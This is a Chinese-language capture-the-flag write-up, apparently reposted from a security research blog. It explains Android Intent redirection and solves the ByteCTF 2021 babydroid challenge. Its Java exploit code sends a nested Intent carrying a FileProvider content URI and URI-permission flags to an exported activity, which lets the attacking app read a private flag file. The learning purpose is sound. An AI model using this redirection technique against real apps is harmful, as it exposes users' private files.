前段时间发现2021ByteCTF的几个Android题,和APP漏洞相关的,对此很感兴趣,所以做了一些学习总结。
Intent(意图)主要是解决Android应用的各项组件之间的通讯。例如:
startActivity(Intent)/startActivityForResult(Intent):启动一个Activity
startService(Intent)/bindService(Intent):启动一个Service
sendBroadcast:发送广播到指定BroadcastReceiver
Intent负责对应用中一次操作的动作、动作涉及的数据、附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 Intent传递给被调用的组件,并完成组件的调用。
1. 组件名称(Component): 指定Intent的的目标组件的类名称。
3. 种类(Category): 被执行动作的附加信息
4. data (数据) : 表示执行动作要操纵的数据。
5. type (数据类型) : 显式指定Intent的数据类型(MIME)。
6. extras (扩展信息) : 是其它所有扩展信息的集合。
7. Flags (标志位) : 期望这个意图的运行模式。
Intent intent = new Intent(MainActivity.class,TestActivity.class); //实例化Intent对象
intent.putExtra("ext1",ext1); //使用putExtra传递参数,参数:值
intent.getStringExtra("ext1") //获取传递的参数
startActivity(intent); //启动Intent,完成从MainActivity类跳转到TestActivity类
我们写代码来理解一下,可以发现使用了setComponent,putExtra等来添加Intent对象中的信息:
public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String at = "MainActivity";
ComponentName component = new ComponentName(MainActivity.this, TestActivity.class);
Intent intent = new Intent();
//设置要跳转的组件名称,等价于new Intent(MainActivity.class,TestActivity.class);
intent.setComponent(component);
intent.putExtra("hint", "我是TestActivity, 我来自MainActivity");
btn = findViewById(R.id.btn);
btn.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
public class TestActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
tv = findViewById(R.id.tv);
String result = getIntent().getStringExtra("hint");
-
隐式调用
对于没有明确指出目标组件名称的Intent,则称之为隐式Intent。
隐式调用需要通过Intent Filter来匹配对应的组件。
AndroidManifest.xml中添加要跳转的Activity:
<activity
android:name=".TestActivity"
android:exported="false"
<intent-filter>
<action android:name="myAction" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
MainActivity:
Intent intent = new Intent();
intent.setAction("myAction");
//设置额外数据
intent.putExtra("hint", "我是TestActivity, 我来自MainActivity");
btn = findViewById(R.id.btn);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(intent);
}
});
点击跳转按钮,达到和上图同样的效果,这就是显示调用和隐式调用。
简单介绍了Intent之后,我们来了解一下什么是重定向,其实它就是一个双层嵌套,根据下图理解,攻击Apk使用startActivity(intent1)进入受害apk的Activity1,Activity1中会接收一个intent(称intent2,这个intent2指向攻击Apk中的Activity2)类型的数据,对这个intent2使用startActivity(intent2),这样最终就进入了Activity2。
接下来我们编写代码来进行实际演示,这里注意Activity1和Activity2都是导出的,也就是exported=”true”,否则会失败。
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");
Intent intent = new Intent();
intent.setClassName("com.example.test", "com.example.test.TestActivity");
intent.putExtra("intent",redirect);
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
Intent intent = getIntent().getParcelableExtra("intent");
整个过程如下图,实际看到的是,点击按钮后直接跳转到”重定向成功“界面,但中间会有一个空白界面就是我们的Activity1:
本文是根据ByteCTF 2021的Android题来进行学习,在之前我们了解了Intent重定向,但是这往往需要和其他利用条件结合,也要保证要攻击的Activity是导出的,而这个题就可以帮助我们巩固知识。
分析APK
JEB反编译,查看AndroidManifest.xml文件,发现Vulnerable是可导出的,可能漏洞点就在这里。
MainActivity是空的,没什么用,FlagReciver是一个广播接收器,经分析是设置flag的,将接收的flag写入文件,这应该和做题的人关系不大。
但是这里有一点要注意,getFilesDir()是哪个目录呢,这里可以自己写代码进行验证,给一个参考图,来自:https://bbs.pediy.com/thread-271122.htm
所以这里flag文件存储的目录是/data/data/com.bytectf.babydroid/files/flag。
这个类导出,而且接收一个Intent数据,所以我们可以利用Intent重定向漏洞。
那我们该怎么利用Intent重定向漏洞读取flag文件呢?
FileProvider
Android 7开始不允许以 file:// 的方式通过 Intent 在两个 App 之间分享文件,而是通过 FileProvider 生成 content://Uri 。如果在 Android 7以上的版本继续使用 file:// 的方式分享文件,则系统会直接抛出异常。
FileProvider 是一个特殊的 ContentProvider 子类,如果使用包含 Content URI 的 Intent 共享文件时,需要申请临时的读写权限,这可以通过 Intent.setFlags() 方法实现。
我们在AndroidManifest.xml中也看到了FileProvider,
android:authorities="androidx.core.content.FileProvider"
android:grantUriPermissions="true"
android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
android:name为androidx.core.content.FileProvider,不需要更改;
android:authorities为androidx.core.content.FileProvider;
android:exported为false,表示 FileProvider 不是公开的;
android:grantUriPermissions为true,表示允许临时读写文件。
文件配置完成后还需要生成可以被其他 App 访问的 Content URI,可以直接调用 FileProvider 提供的 getUriForFile(File file) 方法,,传入文件名称就可以得到相应的 Content URI。
假如我们要获取flag文件,但是我们也不确定Content URI是多少,我们编写代码来得到结果,看看Content URI生成的格式:
File imagePath = new File(getContext().getFilesDir(), "aaa");
File newFile = new File(imagePath, "default_image.jpg");
Uri contentUri = getUriForFile(getContext(), "com.mydomain.provider", newFile);
content://androidx.core.content.FileProvider/root/data/data/com.example.test/files/aaa/default_image.jpg
这样我们就得到了我们攻击时应该使用的Content URI格式。
攻击
了解了前面的知识,我们该做最后一步,对apk实施攻击获取flag。我们使用Intent重定向将Content Uri在受害Apk中进行解析获取flag文件的数据,在攻击APK中接收flag,完成攻击。
adb shell su root am broadcast -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag 'flag{success!!!}'
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");
//读取flag文件,并且设置为此intent的Data。
redirect.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
redirect.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent",redirect);
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String flag = IOUtils.toString(inputStream);
} catch (FileNotFoundException e) {
} catch (IOException e) {
这个APK出现漏洞主要是因为Vulnerable类导出,虽然FileProvider是不导出的,但是通过Intent重定向可以在受害APK内部去使用FileProvider,因此达成了利用条件。一直以来,我主要是做APK逆向,而对于APK的漏洞确了解的很少,而且也很难有漏洞去复现学习,还是很感谢ByteCTF的出题师傅,之后应该也会对其他题目进行复现学习,再和大家分享学习。
https://baike.baidu.com/item/Intent/5468510
https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
https://zhuanlan.zhihu.com/p/26139355
https://www.runoob.com/w3cnote/android-tutorial-intent-base.html
原文始发于微信公众号(山石网科安全技术研究院):android-intent 重定向漏洞